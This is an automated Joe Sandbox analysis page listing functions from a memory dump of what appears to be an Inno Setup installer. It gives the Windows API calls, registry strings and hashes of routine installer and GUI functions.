Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: c059e024c9e6eb8416f72924d9350c7e8f021855cc9b01300ad62ba4517ae118
Instruction ID: 2eaa58f6359003fef9dee836e3db1fa56ae38c906bc4f4c4d93ca6671f7cd4fb
Opcode Fuzzy Hash: c059e024c9e6eb8416f72924d9350c7e8f021855cc9b01300ad62ba4517ae118
Instruction Fuzzy Hash: 14515470E00105AFDB40EF95C491AAEBBF9EB45319F11817FE414BB391DA389E05CB99

Function 00481760 Relevance: 4.6, APIs: 3, Instructions: 98windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000,00000000,00481898), ref: 00481830
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00481841
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 00481859

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Menu$Append$System
String ID:
API String ID: 1489644407-0
Opcode ID: d933746ff7b66401e606975732ccc260a02719cdd81df1f2e9532199b1c22675
Instruction ID: 2579a7d5db53e33ee4863251c1290a2b13440539eb68b17f0e677d1311332c65
Opcode Fuzzy Hash: d933746ff7b66401e606975732ccc260a02719cdd81df1f2e9532199b1c22675
Instruction Fuzzy Hash: A131A3307043445AD721BB769C83B6E3B989F55718F54587FF8009A2E3CA7C9D0A879D

Function 0044B38C Relevance: 4.6, APIs: 3, Instructions: 74COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0044B401
SelectObject.GDI32(?,00000000), ref: 0044B424
ReleaseDC.USER32(00000000,?), ref: 0044B457

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ObjectReleaseSelect
String ID:
API String ID: 1831053106-0
Opcode ID: 71686dd1bf2aceb477ce3f8db4b541325f82ff5bc32dc74031120fde16d0cea8
Instruction ID: 242bcfed98594cbdcf51f2854abe94a1ec69c13560e3a72339b9f4254961cc58
Opcode Fuzzy Hash: 71686dd1bf2aceb477ce3f8db4b541325f82ff5bc32dc74031120fde16d0cea8
Instruction Fuzzy Hash: 62216570A04248AFEB15DFA6C841B9F7BB9DB49304F11806AF904A7682D778D940CB59

Function 0044B0C0 Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0044B14C,?,004820C7,?,?), ref: 0044B11E
DrawTextW.USER32(?,?,00000000,?,?), ref: 0044B131
DrawTextA.USER32(?,00000000,00000000,?,?), ref: 0044B165

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: DrawText$ByteCharMultiWide
String ID:
API String ID: 65125430-0
Opcode ID: 48900d8d8fc19135f8d19aada3e9e9d8d34cb92564939e70bb5bc2663f887e99
Instruction ID: fec6fabf6d030a51aab30bc406273ff78954f96defe81b00f374268ef7e1f253
Opcode Fuzzy Hash: 48900d8d8fc19135f8d19aada3e9e9d8d34cb92564939e70bb5bc2663f887e99
Instruction Fuzzy Hash: 2A11CBB27046047FEB00DB6A9C91D6F77ECDB49750F10817BF504D72D0D6399E018669

Function 004243FC Relevance: 4.6, APIs: 3, Instructions: 59windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00424412
TranslateMessage.USER32(?), ref: 0042448F
DispatchMessageA.USER32(?), ref: 00424499

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: d4f7142ddfb2041a0388c754ad29f8297397d1c5d5a6fc901d04af05902ad934
Instruction ID: 8eae6dca0d2455523dd27ca57e4683f6da326f6f2f90499d04ddbfd693f83f9d
Opcode Fuzzy Hash: d4f7142ddfb2041a0388c754ad29f8297397d1c5d5a6fc901d04af05902ad934
Instruction Fuzzy Hash: E3116D303043205AEB20FA24A941B9F73D4DFC5758F80481EFC99972C2D77D9D49879A

Function 00416644 Relevance: 4.5, APIs: 3, Instructions: 39COMMON

Download Yara Rule

APIs

SetPropA.USER32(00000000,00000000), ref: 0041666A
SetPropA.USER32(00000000,00000000), ref: 0041667F
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 004166A6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Prop$Window
String ID:
API String ID: 3363284559-0
Opcode ID: ff8df5d04f2ecdb5f17762fdbd8b59dc717163ef82ea70d213bab306533cf9bb
Instruction ID: 6913c5f2d07602d921388148e43cadd8ab2d6729f30613f48e4cae6714e3bc13
Opcode Fuzzy Hash: ff8df5d04f2ecdb5f17762fdbd8b59dc717163ef82ea70d213bab306533cf9bb
Instruction Fuzzy Hash: ACF01271701210ABDB10AB599C85FA732DCAB09714F16057AB905EF286C778DC40C7A8

Function 0041EE54 Relevance: 4.5, APIs: 3, Instructions: 27windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0041EE64
IsWindowEnabled.USER32(?), ref: 0041EE6E
EnableWindow.USER32(?,00000000), ref: 0041EE94

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$EnableEnabledVisible
String ID:
API String ID: 3234591441-0
Opcode ID: 495d6a49dc4b54b7e424eeae3cce025a94256eba33976185de8149e812397146
Instruction ID: 3b4cb379701a2ac24b7d0c87bf9454d2e26b3d0fb89a85d5a5a22e513a73856b
Opcode Fuzzy Hash: 495d6a49dc4b54b7e424eeae3cce025a94256eba33976185de8149e812397146
Instruction Fuzzy Hash: EAE06DB5100301AAE301AB2BDC81B5B7A9CAB54350F05843BA9089B292D63ADC408B7C

Function 00469D90 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?), ref: 00469EA1

Strings

PrepareToInstall, xrefs: 00469E4B, 00469EF2

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ActiveWindow
String ID: PrepareToInstall
API String ID: 2558294473-1101760603
Opcode ID: e58a16817a64f5759f31888600c1354bb1a8a8b494c3c93af2f1dbc242ca25c6
Instruction ID: ccacc6dcba8b8cbbfa1c17f86b27e08b0c11e5798d11daccd90c331c988b02c3
Opcode Fuzzy Hash: e58a16817a64f5759f31888600c1354bb1a8a8b494c3c93af2f1dbc242ca25c6
Instruction Fuzzy Hash: 7EA11934A00109DFCB00EF59D986EDEB7F5AF48304F6580B6E404AB366D778AE41DB99

Function 0046C330 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

/:*?"<>|, xrefs: 0046C4CC, 0046C4E3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID: /:*?"<>|
API String ID: 0-4078764451
Opcode ID: 43277fb1c717e2606564b112b1b0681d416f5021830c97b09ce096e65d7cf365
Instruction ID: 1e87f3d38ec7dbf16fc1afa4daea9e6ca85b65b9a8fb7c68475855461939e3a0
Opcode Fuzzy Hash: 43277fb1c717e2606564b112b1b0681d416f5021830c97b09ce096e65d7cf365
Instruction Fuzzy Hash: 4371A470A40214ABDB10EB66DDD2BEE77A19F40308F1084A7F580AB392E779AD45875F

Function 004820AC Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?), ref: 0048215A

Strings

InitializeWizard, xrefs: 004820F3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ActiveWindow
String ID: InitializeWizard
API String ID: 2558294473-2356795471
Opcode ID: 376233a1d1dddbf1dd43b25fae561af2bf40b6633c4dd7a0e8b1389a7c4343be
Instruction ID: 36b0f45b5e581da985bac651985c8aaa8d6a9bed6a39233588f506be3a995c8b
Opcode Fuzzy Hash: 376233a1d1dddbf1dd43b25fae561af2bf40b6633c4dd7a0e8b1389a7c4343be
Instruction Fuzzy Hash: 79119434205200AFD701FBA9EEDAB1937E4EB59328F60047BF5009B6A1DA796C00CB5D

Function 0047BFE4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,0047C230,00000000,0047C432), ref: 0047C029

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0047BFF9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseOpen
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 47109696-1019749484
Opcode ID: 91d5c32787d00ddb3ecc29a404e36154aacf37a6ecdb6076e024b20848598476
Instruction ID: 5930872802659161668f2fc27ec2b8a5c579264ce8ecaca434dd7baa373bea44
Opcode Fuzzy Hash: 91d5c32787d00ddb3ecc29a404e36154aacf37a6ecdb6076e024b20848598476
Instruction Fuzzy Hash: B1F08231700514A7DA00A69E6D82B9BA79D9B84758F20403FF508DB242DABE9E0202EC

Function 0046ECB8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,00475FFE,?,0049C1DC,?,0046EFCF,?,00000000,0046F56A,?,_is1), ref: 0046ECDB

Strings

Inno Setup: Setup Version, xrefs: 0046ECD9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Value
String ID: Inno Setup: Setup Version
API String ID: 3702945584-4166306022
Opcode ID: 56bbb1f4a6cd77c20b542710a526df67742b244f3cd53e0af7fea37619b23a66
Instruction ID: 3111e2ab1a00cbee8849f506c2bc3fe53732bb3e30b7299e44938699edfd3f7c
Opcode Fuzzy Hash: 56bbb1f4a6cd77c20b542710a526df67742b244f3cd53e0af7fea37619b23a66
Instruction Fuzzy Hash: 71E06D753012043FE710AA2B9C85F5BBBDCDF99765F10403AB909DB392D978DD0085A8

Function 0046ED28 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F3A6,?,?,00000000,0046F56A,?,_is1,?), ref: 0046ED3B

Strings

NoModify, xrefs: 0046ED39

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Value
String ID: NoModify
API String ID: 3702945584-1699962838
Opcode ID: 306e8526e04bb1da42350282118940b5300f429dbb2620f70078b8bfc6bd1a7c
Instruction ID: e7aa99f2e089c5623e338f59092b711216c244eb116ac0446a77828d65f342ac
Opcode Fuzzy Hash: 306e8526e04bb1da42350282118940b5300f429dbb2620f70078b8bfc6bd1a7c
Instruction Fuzzy Hash: 3AE04FB4640304BFEB04DB55CD4AF6B77ECDB48710F104059BA049B291E674FE00CA68

Function 0042DE1C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

Strings

System\CurrentControlSet\Control\Windows, xrefs: 0042DE36

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Windows
API String ID: 71445658-1109719901
Opcode ID: a11f376e1d034aeb0d9ae53f60934921bcd728bb93d306f1768079d63b1ffdfe
Instruction ID: 60e43675bb36a9eef4a15598a1848ca3f705ecc445ee8c9fe52fc6b05f1352bb
Opcode Fuzzy Hash: a11f376e1d034aeb0d9ae53f60934921bcd728bb93d306f1768079d63b1ffdfe
Instruction Fuzzy Hash: 29D09E72950128BB9B009A89DC41DFB775DDB15760F45441BF9049B141C5B4AC5197E4

Function 0047DF58 Relevance: 3.2, APIs: 2, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,?,00000001,00000000,0047E237,?,-0000001A,004800ED,-00000010,?,00000004,0000001B,00000000,0048043A,?,0045D9B8), ref: 0047DFCE

Part of subcall function 0042E31C: GetDC.USER32(00000000), ref: 0042E32B
Part of subcall function 0042E31C: EnumFontsA.GDI32(?,00000000,0042E308,00000000,00000000,0042E374,?,00000000,00000000,004804A1,?,?,00000001,00000000,00000002,00000000), ref: 0042E356
Part of subcall function 0042E31C: ReleaseDC.USER32(00000000,?), ref: 0042E36E

SendNotifyMessageA.USER32(00020138,00000496,00002711,-00000001), ref: 0047E19E

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: EnumFontsMessageNotifyReleaseSend
String ID:
API String ID: 2649214853-0
Opcode ID: e029a571d7ea910feaf489f47ebd39d374a0288316229fc386b1e2e4e1e2ac40
Instruction ID: 52cd92918bf59317d76ec0dbded9268cc5ddbf6ebeab8dbad6023b52803fe890
Opcode Fuzzy Hash: e029a571d7ea910feaf489f47ebd39d374a0288316229fc386b1e2e4e1e2ac40
Instruction Fuzzy Hash: 045196746001108BC710FF26D981A9B37E9EB58308B90C67BA4089B3A7CB7CDD46CB9D

Function 00402088 Relevance: 3.1, APIs: 2, Instructions: 122COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049B420,00000000,004021FC), ref: 004020CB

Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,0211C1B4,?,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
String ID:
API String ID: 296031713-0
Opcode ID: ab3545b22e3440e815b1719652ff5d854977479bd1b850cbba673e5eb4522dee
Instruction ID: 30adadd309813d1a6846ca6b4958dbaac508113c784b73a5bb8d11bfdb372a30
Opcode Fuzzy Hash: ab3545b22e3440e815b1719652ff5d854977479bd1b850cbba673e5eb4522dee
Instruction Fuzzy Hash: 3941E3B2E00304DFDB10CF69EE8521A77A4F7A8324B15417FD854A77E2D3789801DB88

Function 0042DC00 Relevance: 3.1, APIs: 2, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,0042DD38), ref: 0042DC3C
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,70000000,?,?,00000000,?,00000000,?,00000000,0042DD38), ref: 0042DCAC

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: b62dc44b296d1c54c0416b8d239270b5fe200a79a82432283709fd1da487490f
Instruction ID: 5bd1c55a509b6dee259ffcee94d68868fe84ce326e73fb4cf6662c4527ef549e
Opcode Fuzzy Hash: b62dc44b296d1c54c0416b8d239270b5fe200a79a82432283709fd1da487490f
Instruction Fuzzy Hash: 9D414171E00529ABDB11DF95D881BAFB7B8EB04704F918466E810F7241D778AE00CBA5

Function 0042DEC0 Relevance: 3.1, APIs: 2, Instructions: 111registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,0042DFD6,?,?,00000008,00000000,00000000,0042E003), ref: 0042DF6C
RegCloseKey.ADVAPI32(?,0042DFDD,?,00000000,00000000,00000000,00000000,00000000,0042DFD6,?,?,00000008,00000000,00000000,0042E003), ref: 0042DFD0

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseEnum
String ID:
API String ID: 2818636725-0
Opcode ID: 4ba9105902ea8f19abce0b58cfd6361b4b3e39fae621ffe28cce2eb109bf1346
Instruction ID: d62689c7b7995b9893119ef97773413105dd68debc8ff02f2d4f9d8a28cc91ff
Opcode Fuzzy Hash: 4ba9105902ea8f19abce0b58cfd6361b4b3e39fae621ffe28cce2eb109bf1346
Instruction Fuzzy Hash: DD31B270F04258AEDB11DFA6DD42BAEBBB9EB49304F91407BE501E6280D6785E01CA2D

Function 004527E8 Relevance: 3.1, APIs: 2, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,?,?,004580C8,00000000,004580B0,?,?,?,00000000,00452862,?,?,?,00000001), ref: 0045283C
GetLastError.KERNEL32(00000000,00000000,?,?,004580C8,00000000,004580B0,?,?,?,00000000,00452862,?,?,?,00000001), ref: 00452844

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
